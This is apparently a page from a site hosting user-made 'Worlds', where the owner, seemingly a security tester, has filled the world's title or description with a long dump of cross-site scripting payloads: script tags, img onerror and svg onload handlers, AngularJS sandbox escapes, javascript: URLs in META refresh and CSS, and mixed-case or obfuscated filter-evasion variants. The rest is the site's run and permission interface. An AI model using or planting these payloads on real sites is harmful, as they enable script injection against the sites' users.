Owner: sectestesec@gmail.com
API: Canvas (r1)
World type: Uses Mind
"onmouseover="alert(1) <svg<script> onmou<script>seover</script>="alert('xss')">hii</svg</script>> ">"><svg on"><sv">sv<svg onload=(alert)(1)>g onload=(alert)(1)>load=(alert)(1)> "><svg><discard%20onbegin=alert(1)> <svg><a><animate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F><text+x%3D20+y%3D20>Click%20me<%2Ftext><%2Fa> {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}} {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} <script src=<%= ResolveUrl(~/Script.js) %>></script> /(A(%22onerror='alert%601%60'testabcd))/ <svg<script> onmou<script>seover</script>="alert('xss')">hii</svg</script>> "/><img src=xss onerror=alert(1)><IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img> PL"><svg/onload=alert("XSS")><" <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br> ">'><details/open/ontoggle=confirm('XSS')> "><svg onload=(alert)(1)> />&_lt;_script>alert(1)&_lt;/scr_ipt>/> "><svg/onload=alert(document.domain)> [XSS](.alert(1);) sample-csv-sku.csv"-alert(document.domain)-" <script>alert(123);</script> <ScRipT>alert("XSS");</ScRipT> <script>alert(123)</script> <script>alert("hellox worldss");</script> <script>alert(XSS)</script> <script>alert(XSS);</script> <script>alert(XSS)</script> ><script>alert(XSS)</script> <script>alert(/XSS)</script> <script>alert(/XSS/)</script> </script><script>alert(1)</script> ; alert(1); )alert(1);// <ScRiPt>alert(1)</sCriPt> <IMG SRC=jAVasCrIPt:alert(XSS)> <IMG SRC=javascript:alert(XSS);> <IMG SRC=javascript:alert("XSS")> <IMG SRC=javascript:alert(XSS)> <img src=xss onerror=alert(1)> <img/src=`` onerror=this.onerror=confirm(1) <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <style/onload=<!--	> alert (1&r
Type: Public. Plain JS.
View plain JS.
Problem with embed code: No Mind visible.
18 runs
Run | World broken. No Minds found. Cannot run. |
Edit | Must be logged in. |
Update image | Must be logged in. |
Clone | Must be logged in. |
New Mind | Must be logged in. |
Change World type | Must be owner. |
Change API | Must be owner. |
Delete | Must be owner. |